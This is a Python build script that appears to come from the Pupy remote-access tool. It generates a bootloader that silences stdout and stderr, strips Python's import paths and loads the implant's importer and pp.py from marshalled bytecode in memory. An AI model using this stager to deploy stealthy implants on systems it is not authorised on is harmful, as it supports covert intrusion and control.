pupy/client/gen_python_bootloader.py

77 lines
1.9 KiB
Python

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import marshal
import struct
import base64
import os.path
import argparse
remove_stdout='''
import sys
class Blackhole(object):
softspace = 0
def read(self):
pass
def write(self, text):
pass
def flush(self):
pass
sys.stdout = Blackhole()
sys.stderr = Blackhole()
del Blackhole
'''
pupyload = '''
import marshal, imp, sys
fullname = "{}"
mod = imp.new_module(fullname)
mod.__file__ = "<bootloader>/{{}}".format(fullname)
exec marshal.loads({}) in mod.__dict__
sys.modules[fullname]=mod
'''
if __name__=="__main__":
parser = argparse.ArgumentParser()
parser.add_argument(
'-debug',
action='store_true',
default=False,
help='Show debug messages from bootloader'
)
parser.add_argument(
'-pass-argv',
action='store_true',
default=False,
help='Pass argv to the pp.py'
)
args = parser.parse_args(sys.argv[1:])
pupyimporter = None
with open(os.path.join('..', '..', 'pupy', 'packages', 'all', 'pupyimporter.py')) as f:
pupyimporter = f.read()
pp = None
with open(os.path.join('..','..','pupy','pp.py')) as f:
pp = f.read()
pupyimporter = marshal.dumps(
compile(pupyimporter, '<string>', 'exec')
)
bootloader = [
remove_stdout if not args.debug else 'print "DEBUG"\n',
'import sys; sys.path=[]; sys.path_hooks=[]; sys.meta_path=[];' + (
'sys.argv = [];' if not args.pass_argv else ''
) + 'sys.prefix = ""; sys.flags.optimize=1;\n',
pupyload.format('pupyimporter', repr(pupyimporter)),
'import pupyimporter\n'
'pupyimporter.install({})\n'.format(args.debug),
pp+'\n',
]
with open(os.path.join("resources","bootloader.pyc"),'wb') as w:
w.write(marshal.dumps([
compile(block, '<string>', 'exec') for block in bootloader
]))